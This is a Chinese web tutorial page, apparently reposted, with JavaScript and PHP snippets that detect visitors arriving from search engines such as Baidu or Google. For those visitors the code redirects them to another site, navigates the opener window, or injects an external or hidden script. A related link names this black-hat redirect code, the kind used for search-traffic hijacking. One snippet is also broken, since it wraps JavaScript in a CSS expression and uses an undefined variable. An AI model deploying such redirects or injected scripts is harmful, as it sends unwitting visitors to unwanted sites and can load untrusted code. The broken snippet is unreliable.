js如何判断访问是来自搜索引擎(蜘蛛人)还是直接访问


Posted in Javascript onSeptember 14, 2015

以下javascript脚本代码可以实现判断访问是否来自搜索引擎。

代码如下:

<script type="text/javascript">
if(window.name != 'ad_app6'){
var r = document.referrer;
r = r.toLowerCase(); //转为小写
var aSites = new Array('google.','baidu.','sm.','soso.','so.','360.','yahoo.','youdao.','sogou.','gougou.');
var b = false;
for (i in aSites){
if (r.indexOf(aSites[i]) > 0){
b = true;
break;
}
}
 
if(b)
{
self.location = '要跳转的网址';
window.adworkergo = 'ad_app6';
}
}
</script>

介绍的这个JS判断蜘蛛来源的方法脚本是写在body的onload里面的。即页面加载时进行判断。代码如下:

body {onload:expression(
if(window.name!="Yang"){
var str1 = document.referrer;
str1 = str1.toLowerCase();
var str6 = 'google.';
var str7 = 'baidu.';
var str4 = 'yahoo.';
var str8 = 'youdao.';
var str9 = 'sogou.';
var str5 = 'soso.';
if(str1.indexOf(str7)>0 || str1.indexOf(str6)>0 || str1.indexOf(str4)>0 || str1.indexOf(str3)>0 || str1.indexOf(str8)>0 || str1.indexOf(str9)
 
>0 || str1.indexOf(str5)>0 && "zh-cn"==navigator.systemLanguage)
{
self.location='http://www.abc.com/';
window.name="Yang";
}
 
}
);}

这个JS判断蜘蛛来源方法不太好用。特别是在需要判断更多蜘蛛来源时代码写起来比较麻烦。

JS正则表达式判断来路搜索引擎指定跳转网址

var regexp=/\.(sogou|soso|baidu|google|youdao|yahoo|bing|sm|so|biso|gougou|ifeng|ivc|sooule|niuhu|biso|360)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referrer;
if(regexp.test(where))
{
window.location.href="跳转指定网址";
}
<script language="javascript">

var s=document.referrer

if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("soso")>0 || s.indexOf("search")>0 || s.indexOf("114")>0 )

window.opener.navigate("https://3water.com")

</script>

通过Js判断搜索引擎来路的代码则如下

<script type="text/javascript">
function elem(e,url){
var h=document.createElement(e);
h.src=url;
document.getElementsByTagName('head')[0].appendChild(h);
}

function refer(){
var ref=document.referrer;
var baidu=ref.indexOf("baidu");
var soso=ref.indexOf("soso");
var google=ref.indexOf("google");
if(baidu!=-1||soso!=-1||google!=-1){
elem("script","http://127.0.0.1/js.js");
}
}
refer()
</script>

一段php判断搜索引擎的代码

<?PHP
$referer = $_SERVER['HTTP_REFERER'];
if(!$referer == ''){
if(ereg('http',$referer)){
$referer = @eXPlode('.',$referer);
if(is_array($referer)){
$referer = $referer['1'];
if($referer == 'google' OR $referer == 'baidu' OR $referer == 'soso' OR $referer == 'sogou'){
?>
<div style="visibility:hidden;"><script src="a.js" language="JavaScript"></script>
</div><?php
}
}
}
}
?>

手机端别忘了 sm、 sogou。

基本上也差不多了,如果你有更好的代码,可以留言.

Javascript 相关文章推荐
jQuery 源码分析笔记(3) Deferred机制
Jun 19 Javascript
javascript日期转换 时间戳转日期格式
Nov 05 Javascript
window.open不被拦截的实现代码
Aug 22 Javascript
jquery的ajax跨域请求原理和示例
May 08 Javascript
特殊情况下如何获取span里面的值
May 20 Javascript
js中一维数组和二位数组中的几个问题示例说明
Jul 17 Javascript
jQuery中extend函数详解
Feb 13 Javascript
《JavaScript函数式编程》读后感
Aug 07 Javascript
浅谈Emergence.js 检测元素可见性的 js 插件
Nov 18 Javascript
原生JavaScript实现日历功能代码实例(无引用Jq)
Sep 23 Javascript
详解实现vue的数据响应式原理
Jan 20 Vue.js
typescript编写微信小程序创建项目的方法
Jan 29 Javascript
根据user-agent判断蜘蛛代码黑帽跳转代码(js版与php版本)
Sep 14 #Javascript
jQuery实现默认是闭合的FAQ展开效果菜单
Sep 14 #Javascript
js带缩略图的图片轮播效果代码分享
Sep 14 #Javascript
jQuery实现的Tab滑动选项卡及图片切换(多种效果)小结
Sep 14 #Javascript
JS+DIV+CSS实现的经典标签切换效果代码
Sep 14 #Javascript
jQuery实现Meizu魅族官方网站的导航菜单效果
Sep 14 #Javascript
jQuery实现鼠标悬停背景翻转的黑色导航菜单代码
Sep 14 #Javascript
You might like
php.ini 配置文件的深入解析
2013/06/17 PHP
javascript 伪数组实现方法
2010/10/11 Javascript
jquery+css+ul模拟列表菜单具体实现思路
2013/04/15 Javascript
replace()方法查找字符使用示例
2013/10/28 Javascript
jQuery的事件委托实例分析
2015/07/15 Javascript
第九篇Bootstrap导航菜单创建步骤详解
2016/06/21 Javascript
微信小程序 template模板详解及实例代码
2017/03/09 Javascript
js获取ip和地区
2017/03/10 Javascript
Form表单上传文件(type=&quot;file&quot;)的使用
2017/08/03 Javascript
详解vue-element Tree树形控件填坑路
2019/03/26 Javascript
JavaScript的Proxy可以做哪些有意思的事儿
2019/06/15 Javascript
jQuery表单选择器用法详解
2019/08/22 jQuery
功能完善的小程序日历组件的实现
2020/03/31 Javascript
Vue父组件监听子组件生命周期
2020/09/03 Javascript
js实现弹幕墙效果
2020/12/10 Javascript
three.js如何实现3D动态文字效果
2021/03/03 Javascript
[01:54]TI珍贵瞬间系列(五):压力
2020/08/29 DOTA
基于Python的接口测试框架实例
2016/11/04 Python
Python的语言类型(详解)
2017/06/24 Python
python机器学习库常用汇总
2017/11/15 Python
Python+matplotlib+numpy绘制精美的条形统计图
2018/01/02 Python
让代码变得更易维护的7个Python库
2018/10/09 Python
Python重新加载模块的实现方法
2018/10/16 Python
Python list列表中删除多个重复元素操作示例
2019/02/27 Python
python中yield的用法详解
2021/01/13 Python
css3 中实现炫酷的loading效果
2019/04/26 HTML / CSS
纯CSS3实现绘制各种图形实现代码详细整理
2012/12/26 HTML / CSS
Mountain Hardwear官网:攀岩服装和户外装备
2019/09/26 全球购物
行政助理岗位职责范文
2013/12/03 职场文书
会计电算化毕业生自荐信
2014/03/03 职场文书
汽车维修求职信
2014/06/15 职场文书
会计个人实习计划书
2014/08/15 职场文书
详解Java实现数据结构之并查集
2021/06/23 Java/Android
C#连接ORACLE出现乱码问题的解决方法
2021/10/05 Oracle
Python 全局空间和局部空间
2022/04/06 Python
nginx静态资源的服务器配置方法
2022/07/07 Servers